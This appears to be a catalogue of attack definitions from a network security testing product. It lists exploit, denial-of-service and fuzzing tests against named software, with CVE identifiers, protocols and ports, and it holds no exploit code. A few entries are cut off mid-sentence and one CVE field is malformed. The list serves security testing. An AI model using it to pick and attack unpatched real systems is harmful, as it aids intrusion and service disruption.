Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. K_ShoutBox is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3989
Threat Package:	Standard
Threat File Name:	TSL20130611-14_Microsoft_Internet_Explorer_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Use After Free [IPv6, Version]

Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2013-3119
OSVDB:	94113
Threat File Name:	annoncev_rfi.xml
Executive Description:	AnnounceV News Script <= 1.1 (page) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AnnounceV is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4622
OSVDB:	28568
Threat Package:	Standard
Threat File Name:	FSC20100624-03_Novell_iManager_Tree_Name_Denial_of_Service_IPv6.xml
Executive Description:	Novell iManager Tree Name Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in Novell iManager. The vulnerability is due to insufficient validation of the TREE parameter during login access. This vulnerability may be exploited by remote unauthenticated attackers to cause abnormal termination of the affected service leading to a denial of service condition, by sending a maliciously crafted HTTP request to the target server.
Protocol Type:	IPv6, HTTP over port 8080, HTTPS over port 8443
CVEID:	CVE-CVE-2010-1930
Threat Package:	Standard
Threat File Name:	mxsmartor_rfi.xml
Executive Description:	MX Smartor Album.php Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MX Smartor is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20070814-07_Microsoft_OLE_Automation_String_Manipulation_Heap_Overflow.xml
Executive Description:	Microsoft OLE Automation String Manipulation Heap Overflow
Detailed Description:	There exist a heap buffer overrun vulnerability in Microsoft Object Linking and Embedding (OLE) Automation library. The flaw is due to improper handling of specific integer parameters by certain API function. Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the vulnerable system with the privileges of the currently logged in user. In a simple attack case, the affected Internet Explorer may terminate when the malicious page is opened. In a sophisticated attack scenario, where the malicious user is successful in injecting and executing supplied code, the behaviour of the system is dependent on the nature of the injected code. Any code injected into the vulnerable component would execute in the security context of the currently logged in user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2007-2224
Threat File Name:	x7chat_sqli_IPv6.xml
Executive Description:	X7 Chat SQL injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a series of http post messages that will leverage a flaw any web server running the "X7 Chat" software. X7 Chat is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3851
Threat Package:	Standard
Threat File Name:	LPRng_IPv6.xml
Executive Description:	LPRng Remote Overflow (IPv6 Version)
Detailed Description:	This threat attempts to cause a format string error in vulnerable versions of LPRng. It creates a remote shell on the host that the attacker can then use. LPRng typically uses port 515. (IPv6 Version)
Protocol Type:	LPR/IPv6
CVEID:	CVE-2000-0917
OSVDB:	421
Threat Package:	Standard
Threat File Name:	runcms_cmi_IPv6.xml
Executive Description:	RunCMS Remote Code Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted POST payload containing PHP code that when retrieved using a remote file inclusion flaw allows arbitrary command execution. RunCMS is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0658
Threat File Name:	TSL20130912-08_HP_ProCurve_Manager_SNAC_UpdateDomainControllerServlet_Code_Execution_IPv6.xml
Executive Description:	HP ProCurve Manager SNAC UpdateDomainControllerServlet Code Execution [IPv6, Version]
Detailed Description:	A vulnerability has been reported in HP ProCurve Manager SNAC. The vulnerability is due to directory traversal in the UpdateDomainControllerServlet class. A remote attacker could exploit the vulnerability by sending specially crafted data to a vulnerable version of the software. Successful exploitation could result in code execution under the context of SYSTEM.
Protocol Type:	IPv6, HTTPS
CVEID:	CVE-2013-4811
OSVDB:	97154
Threat File Name:	TSL20140715-11_HP_Intelligent_Management_Center_SyslogDownloadServlet_Information_Disclosure_IPv6.xml

Executive Description:	HP Intelligent Management Center SyslogDownloadServlet Information Disclosure IPv6 version
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the SyslogDownloadServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system. Tester needs to set variable \$destPort to 8080 or 8443 before test.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2014-2619
OSVDB:	109169
Threat File Name:	invision_power_board_armymod_sqli_IPv6.xml
Executive Description:	Invision Power Board Army System Mod 2.1 SQL Injection Exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted url containing an SQL query which is executed by the server. Invision Power Board Army System Mod is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0520
OSVDB:	22851
Threat File Name:	NOOPtcpHP-UNIX2.xml
Executive Description:	TCP NOOP Packet Variant HP-UNIX 2
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_dash_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with - (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with - from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	mambo_gallery_rfi.xml
Executive Description:	Mambo Gallery Manager MosConfig_Absolute_Path Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Mambo Gallery Manager is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	teardrop.xml
Executive Description:	Teardrop Fragment Assembly Attack
Detailed Description:	The threat sends out a single ICMP ping packet comprised of two fragments. The second fragment overlaps the first fragment and does not exceed the first fragment's length, causing an improper bounds checking error (copying too much memory). Affects older Linux kernels and versions of Windows.
Protocol Type:	IP
CVEID:	CVE-1999-0015
OSVDB:	5727
Threat Package:	Standard
Threat File Name:	sitenews_rfi.xml
Executive Description:	Site News Page Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Site News is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	phpglossar_cmi.xml
Executive Description:	PHPGlossar Version 0.8 <= Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PHPGlossar's add.php module is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2751
Threat Package:	Standard
Threat File Name:	TSL20140909-17_HP_Network_Node_Manager_I_ovopi_dll_L_Buffer_Overflow_IPv6.xml
Executive Description:	HP Network Node Manager I ovopi.dll -L Buffer Overflow IPv6 version.
Detailed Description:	Two buffer overflow vulnerabilities exist in HP Network Node Manager I (NNMi). These vulnerabilities are caused by copying user supplied data into fixed-size buffers without sufficient validation in ovopi.dll By sending a crafted request to the vulnerable product on port 696/UDP, a remote unauthenticated attacker could exploit these vulnerabilities to execute arbitrary code with System privileges. Tester should set variable \$destPort to 696 before test.
Protocol Type:	HP NNmi pmd Protocol,IPv6
CVEID:	CVE-2014-2624
OSVDB:	112516
Threat File Name:	TSL20130910-28_Microsoft_Internet_Explorer_CVE-2013-3205_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3205 Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3205
OSVDB:	97094

Threat File Name:	FSC20070919-22_EMC_VMware_Workstation_DHCP_Service_Integer_Underflow.xml
Executive Description:	EMC VMware Workstation DHCP Service Integer Underflow
Detailed Description:	There exists an integer underflow vulnerability in the way VMware DHCP service handles incoming messages. Specifically the vulnerability is due to lack of boundary check when processing DHCP requests. By sending specially crafted DHCP request, an unauthenticated remote attacker can leverage this flaw to execute arbitrary code on the target host with root or SYSTEM level privileges.
Protocol Type:	HTTP
CVEID:	CVE-2007-0063
Threat Package:	Standard
Threat File Name:	tor_controlport_activex_overwrite.xml
Executive Description:	Tor ControlPort "torrc" Missing Authentication Unauthorized Access Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Tor ControlPort ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4174
Threat Package:	Standard
Threat File Name:	sipscalartoolarge.xml
Executive Description:	SIPPING: REGISTER Scalar Values Too Large
Detailed Description:	This threat sends out a SIP REGISTER message with the scalar values greater than the maximum allowed for that field. This is illegal and should cause a 400 Bad Request because of the CSeq value. Because it is unexpected, it may also confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20071026-22_RealNetworks_RealPlayer_RealMedia_File_Format_Processing_Heap_Corruption_IPv6.xml
Executive Description:	RealNetworks RealPlayer RealMedia File Format Processing Heap Corruption (IPv6 Version)
Detailed Description:	A remote heap corruption vulnerability exists in RealNetworks RealPlayer application. The vulnerability is due to boundary errors when processing RM files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RM file. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5081
Threat Package:	Standard
Threat File Name:	TSL20161212-02_OpenSSH_sshd_auth_passwd_Denial_of_Service.xml
Executive Description:	OpenSSH sshd auth_passwd Denial of Service
Detailed Description:	A denial of service vulnerability has been discovered in OpenSSH. The vulnerability is due to not limiting the password length during authentication of users in the auth_passwd module. A remote, unauthenticated attacker could exploit this vulnerability by supplying a specially crafted password as input while authenticating via ssh. Successful exploitation of this vulnerability could result in overloading the server process causing denial of service.
Protocol Type:	SSH
CVEID:	CVE-2016-6515
Threat File Name:	fuzz-TFTP_RandstringFilename_RRQ_MAIL_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_RRQ_MAIL.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is RRQ. Mode is mail. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20120612-09_Microsoft_Internet_Explorer_Center_Element_Out_of_Bounds_Array_Indexing_IPv6.xml
Executive Description:	Microsoft Internet Explorer Center Element Out of Bounds Array Indexing
Detailed Description:	A remote code execution vulnerability exists in Internet Explorer. The vulnerability is due to an index boundary error when handling script code which manipulates a <center> tag. This could result in memory corruption. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Internet Explorer. A successful exploitation attempt would result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-1523
OSVDB:	82860
Threat File Name:	TSL20140827-05_SolarWinds_Storage_Manager_AuthenticationFilter_Authentication_Bypass_IPv6.xml
Executive Description:	SolarWinds Storage Manager AuthenticationFilter Authentication Bypass IPv6 version.
Detailed Description:	An authentication bypass vulnerability exists in SolarWinds Storage Manager. The vulnerability is due to a flaw within the AuthenticationFilter class. A remote unauthenticated attacker could exploit this vulnerability by bypassing the authentication filter and uploading malicious scripts to the target. Successful exploitation could result in code execution under the context of the system. Tester should set variable \$destPort to 9000 before test.
Protocol Type:	HTTP.IPV6
OSVDB:	110483
Threat File Name:	FSC20070814-08_Microsoft_Internet_Explorer_CSS_Strings_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CSS Strings Parsing Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The flaw is caused by improper handling of malformed Cascading Style Sheet (CSS) content. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2007-0943

Threat Package:	Standard
Threat File Name:	FSC20100401-01_Novell_ZENworks_Configuration_Management_UploadServlet_Remote_Code_Execution_IPv6.xml
Executive Description:	Novell ZENworks Configuration Management UploadServlet Remote Code Execution (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's UploadServlet. Remote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with the privileges of the Administrator user. In this case, the behaviour of the target machine is dependent on the intention of the malicious code. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
Threat Package:	Standard
Threat File Name:	TSL20121211-04_Microsoft_DirectPlay_Office_File_Handling_Invalid_Memory_Free.xml
Executive Description:	Microsoft DirectPlay Office File Handling Invalid Memory Free
Detailed Description:	An invalid memory free vulnerability exists in Microsoft DirectPlay. The vulnerability is due to a logic error in initializing the DirectPlay ActiveX controls embedded in office documents. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a maliciously crafted Microsoft Office document. This can lead to memory corruption and possibly code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-1537
OSVDB:	88312
Threat File Name:	pop_buffer_overflow_513_IPv6.xml
Executive Description:	POP Buffer Overflow [513] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [513 bytes] against an POP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	POP3/IPv6
Threat Package:	Standard
Threat File Name:	ms05-021_part2_IPv6.xml
Executive Description:	MS05-021 Exchange Heap Overflow Part 2 (IPv6 Version)
Detailed Description:	This threat attempts to cause a heap overflow on a Microsoft Exchange server. This can be used to execute remote code on the server. This threat targets the SMTP service of exchange which listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-0560
OSVDB:	15467
Threat Package:	Standard
Threat File Name:	FSC20080818-06_Ipswitch_WS_FTP_Client_Format_String_Vulnerability.xml
Executive Description:	Ipswitch WS_FTP Client Format String Vulnerability
Detailed Description:	A format string vulnerability exists in the Ipswitch WS_FTP client FTP product. The vulnerability is due to the input validation flaw, when parsing a message received by the client from a remote FTP server. A remote attacker may entice the target user to connect to a malicious FTP server and exploit the vulnerability for code injection and execution under the security context of the currently logged in user.
Protocol Type:	FTP
CVEID:	CVE-2008-3734
Threat Package:	Standard
Threat File Name:	FSC20101123-06_Apple_Safari_WebKit_Selections_Use_After_Free.xml
Executive Description:	Apple Safari WebKit Selections Use After Free
Detailed Description:	A code execution vulnerability exists in Apple Safari WebKit. The vulnerability is due to a use-after-free error when processing a stale pointer using element focus. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally. Note that TELUS Security Labs team has not been able to reproduce this vulnerability using the Apple Safari web browser during the contractual research period. Further investigation is required to understand under what circumstances the vulnerability can be triggered.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-1812
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToGET_IPv6.xml
Executive Description:	Fuzz HTTP GET appended by %n (IPv6 Version)
Detailed Description:	Fuzzes the Method field by appending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20131230-01_RealNetworks_RealPlayer_RMP_File_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer RMP File Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow exists in RealNetworks RealPlayer. The vulnerability is due an error when handling RMP files. Incorrect handling of the 'version' and 'encoding' attributes of the XML declaration tag can result in a stack buffer overflow. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open a crafted RMP file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2013-7260
OSVDB:	101356
Threat File Name:	TSL20111024-07_Oracle_AutoVue_AutoVueX_ActiveX_Control_Export3DBom_Remote_File_Creation.xml
Executive Description:	Oracle AutoVue AutoVueX ActiveX Control Export3DBom Remote File Creation

Detailed Description:	An insecure method is exposed by Oracle AutoVue. The vulnerability is due to the AUTOVUEX.AutoVueXCtrl (AutoVueX.ocx) ActiveX control including the insecure "Export3DBom()" method. This can be exploited to write arbitrary files in the context of the currently logged-on user. A remote attacker could possibly exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.
Protocol Type:	HTTP,HTTPS
Threat File Name:	FSC20040614-01_RealNetworks_RealPlayer_URL_Parsing_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer URL Parsing Buffer Overflow
Detailed Description:	A vulnerability exists in the way RealNetworks's RealPlayer products handle the parsing of URLs. A heap buffer overflow can occur when parsing a URL with a large number of period characters ("."), Using a specially crafted URL, an attacker can exploit this vulnerability to remotely execute arbitrary code.
Protocol Type:	HTTP
CVEID:	CVE-2004-0550
Threat Package:	Standard
Threat File Name:	asterisk_pre-auth_dos_IPv6.xml
Executive Description:	Asterisk Chan_Sip.c Unspecified Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in the SIP Channel driver to cause a denial of service (resource consumption). Asterisk is a PBX application used by many vendors and may be found listening on udp port 5060. (IPv6 Version)
Protocol Type:	SIP/IPv6
CVEID:	CVE-2006-5445
OSVDB:	29973
Threat Package:	Standard
Threat File Name:	edraw_office_activex_overwrite.xml
Executive Description:	EDraw Office Viewer Component 5.1 HttpDownloadFile() ActiveX Control Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a flaw in EDraw Office Viewer ActiveX Component allowing it to overwrite any file on the victim system. this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4420
Threat Package:	Standard
Threat File Name:	ipswitch_ws-ftp_d_bof.xml
Executive Description:	Ipswitch WS_FTP Server XCRC XSHA1 and XMD5 Commands Buffer Overflow Vulnerabilities
Detailed Description:	This threat uses a large malformed XMD5 string to cause a denial of service condition or execute code via stack overflow. Ipswitch WS_FTP server listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-5000
OSVDB:	30974
Threat Package:	Standard
Threat File Name:	FSC20100330-01_Novell_Netware_FTP_Server_Remote_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Novell Netware FTP Server Remote Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Novell Netware. The vulnerability is due to a boundary error in NWFTPD.nlm when processing the MKD and RMD FTP commands. Remote authenticated attackers can exploit this vulnerability by sending maliciously crafted commands to the affected server. In attack scenarios where code execution is successful the behaviour of the affected server depends entirely on the intention of the injected code, which will be executed within the security context of the affected service. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2010-0625
Threat Package:	Standard
Threat File Name:	TSL20141020-06_PHP_exif_Extension_exif_ifd_make_value_Thumbnail_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	PHP exif Extension exif_ifd_make_value Thumbnail Heap Buffer Overflow IPv6 version.
Detailed Description:	A code execution vulnerability exists in PHP exif extension. The vulnerability is due to a buffer overflow when handles exif thumbnail. A remote attacker can exploit the vulnerability by sending crafted picture data to a web application running a vulnerable version of PHP. A successful attack will crash the application, and possibly result in remote code execution.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-3670
OSVDB:	113421
Threat File Name:	thefingerserver_cmi_IPv6.xml
Executive Description:	Finger Server Pipe Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url to a web based finger script which doesnt sanitize user supplied data allowing arbitrary command execution using the pipe character.The Finger Server is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0128
OSVDB:	7610
Threat File Name:	FSC20100715-16_Oracle_Secure_Backup_Administration_preauth_Variable_Command_Injection.xml
Executive Description:	Oracle Secure Backup Administration preauth Variable Command Injection
Detailed Description:	A command execution vulnerability exists in Oracle Secure Backup server. The vulnerability is due to insufficient filtering when handling the \$preauth variable. A remote authenticated attacker could exploit this vulnerability by sending a specially crafted HTTP request to the index.php script on the target server. Successful exploitation of this vulnerability may allow a remote authenticated attacker to execute arbitrary commands under the credentials of the SYSTEM account.
Protocol Type:	HTTPS
CVEID:	CVE-2010-0906
Threat Package:	Standard

Threat File Name:	sun_jre_dnsResolve_bof.xml
Executive Description:	Sun jrel.6.0_X isInstalled.dnsResolve ActiveX Control Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Sun (jrel.6.0_X) isInstalled.dnsResolve function with an ActiveX Control, resulting in the execution of arbitrary code or denial of service. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5019
Threat Package:	Standard
Threat File Name:	sipvaliduseofesc_IPv6.xml
Executive Description:	SIPPING: Valid Use of % Escape Character (IPv6 Version)
Detailed Description:	This threat sends out a SIP message with characters escaped using %xx in a number of unexpected (but legal places). (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	cisco_ios_http_xss.xml
Executive Description:	Cisco Memory Buffer Javascript Injection
Detailed Description:	This threat allows an attacker to inject arbitrary javascript code in the memory dump pages of cisco equipment with the IOS Web Server enabled. This allows the user to issue any command available to the web console, including changing passwords and stealing credentials. This threat is a stateless attack that comes from random source addresses, over UDP ports 53 to 53.
Protocol Type:	UDP
CVEID:	CVE-2005-3921
OSVDB:	21360
Threat File Name:	TSL20170124-08_Quagga_VTY_Interface_Denial_of_Service_IPv6.xml
Executive Description:	Quagga VTY Interface Denial of Service (IPv6 Version)
Detailed Description:	A denial-of-service vulnerability has been discovered in Quagga. The vulnerability is due to an input validation error in the Quagga VTY service. A remote attacker can exploit this vulnerability by sending data without a newline character to a Quagga daemon's VTY interface. Successful exploitation would cause the target Quagga daemon to allocate excessive memory and crash, resulting in denial-of-service conditions.
Protocol Type:	Telnet,IPv6
CVEID:	CVE-2017-5495
Threat File Name:	TSL20110510-01_Microsoft_PowerPoint_OfficeArtClientData_Container_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft PowerPoint OfficeArtClientData Container Remote Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft PowerPoint. The vulnerability is due to memory corruption while processing PowerPoint files that contain a specially crafted OfficeArtClientData container. Remote attackers can exploit this vulnerability by enticing target users to open a malicious PowerPoint file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1270
Threat File Name:	InternetExplorerIMGXML.xml
Executive Description:	Internet Explorer IMG and XML Crash
Detailed Description:	This threat causes a crash in Internet Explorer by sending malformed IMG and
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	zawhttpd_bof_IPv6.xml
Executive Description:	zawhttpd Buffer Overflow Exploit (IPv6 Version)
Detailed Description:	This threat exploits a flaw in the zawhttpd URI parser which causes a buffer overflow condition. zawhttpd is an HTTPD service which typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	SNMPv3catDoS.xml
Executive Description:	Cisco SNMPv3 Denial of Service
Detailed Description:	This threat sends an SNMPv3 message to the target on port 162. Can cause various versions of IOS to crash.
Protocol Type:	SNMPv3
CVEID:	CVE-2003-1002
OSVDB:	3025
Threat Package:	Standard
Threat File Name:	badblueBof_IPv6.xml
Executive Description:	BadBlue Buffer Overflow (IPv6 Version)
Detailed Description:	This threat takes advantage of a buffer overflow contained in the BadBlue file sharing web extension for Microsoft IIS. This is exploited for remote code execution and entrance into vulnerable systems. BadBlue is an extension that listens on a webserver, typically on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0595
OSVDB:	14238
Threat Package:	Standard
Threat File Name:	FSC20070716-17_Microsoft_Internet_Explorer_OnBeforeUnload_JavaScript_Address_Bar_Spoofing_IPv6.xml
Executive Description:	Microsoft Internet Explorer OnBeforeUnload JavaScript Address Bar Spoofing (IPv6 Version)
Detailed Description:	An address bar spoofing vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to improper resource handling when the user navigates via address bar to a trusted site. An attacker can exploit the vulnerability by constructing a specially crafted web page to spoof the legitimate site. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3826
Threat Package:	Standard
Threat File Name:	dlink_vid.xml
Executive Description:	D-Link Internet Camera Denial of Service
Detailed Description:	This threat sends out a UDP packet that resets the IP address of all local D-Link cameras.
Protocol Type:	UDP
CVEID:	CVE-2000-0393
OSVDB:	1334
Threat Package:	Standard
Threat File Name:	FSC20081029-04_OpenOffice_EMF_File_EMR_Record_Parsing_Integer_Overflow.xml
Executive Description:	OpenOffice EMF File EMR Record Parsing Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in the OpenOffice software suite. The vulnerability is due to the way OpenOffice parses EMF images. A remote attacker could exploit this vulnerability by persuading a user to open a malicious EMF file, potentially causing arbitrary code to be injected and executed on the target system in the security context of the logged in user. In an attack case where code injection is not successful, all instances of the vulnerable OpenOffice application will terminate. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. The affected application would also most likely stop functioning as a result of such an attack.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-2238
Threat Package:	Standard
Threat File Name:	akarru_rfi.xml
Executive Description:	Akarru v0.4.3.34 - Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Akarru is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4645
OSVDB:	28566
Threat Package:	Standard
Threat File Name:	poptop_IPv6.xml
Executive Description:	PopTop Overflow Attack (IPv6 Version)
Detailed Description:	This threat sends a PPTP packet which contains a length value of 1. This causes the allocation of too little memory, allowing an attacker to overwrite the stack pointer and execute code. The PopTop daemon typically listens on port 1723. (IPv6 Version)
Protocol Type:	PPTP/IPv6
CVEID:	CVE-2003-0213
OSVDB:	3293
Threat Package:	Standard
Threat File Name:	InternetExplorerArchive_IPv6.xml
Executive Description:	Internet Explorer Web Archive Buffer Overflow (IPv6 Version)
Detailed Description:	This threat attempts to cause a buffer overflow in certain versions of Internet Explorer by sending a malformed Microsoft Web Archive file. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sawmill_xss_IPv6.xml
Executive Description:	Sawmill XSS Attempt (IPv6 Version)
Detailed Description:	This threat is executed when an attacker causes a victim to view a webpage with Javascript injected. This can lead to various forms of identity theft. This particular attack could work well against any HTTP based web system. Sawmill is a web based log analysis tool, and typically listens on port 8987. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2950
OSVDB:	19254
Threat Package:	Standard
Threat File Name:	FSC20090512-08_Microsoft_Office_PowerPoint_PP7_File_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Office PowerPoint PP7 File Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office PowerPoint. The flaw is due to an error when processing atoms in a malicious PowerPoint (PPT) document. An attacker could exploit this vulnerability by persuading a target user to open a specially crafted PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0225
Threat Package:	Standard
Threat File Name:	ains_rfi_IPv6.xml
Executive Description:	AINS 0.02b - Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AINS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0570
Threat Package:	Standard
Threat File Name:	nes_system_rfi_IPv6.xml
Executive Description:	NES Game and NES System Multiple Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. NES Game

Protocol Type:	HTTP/IPv6
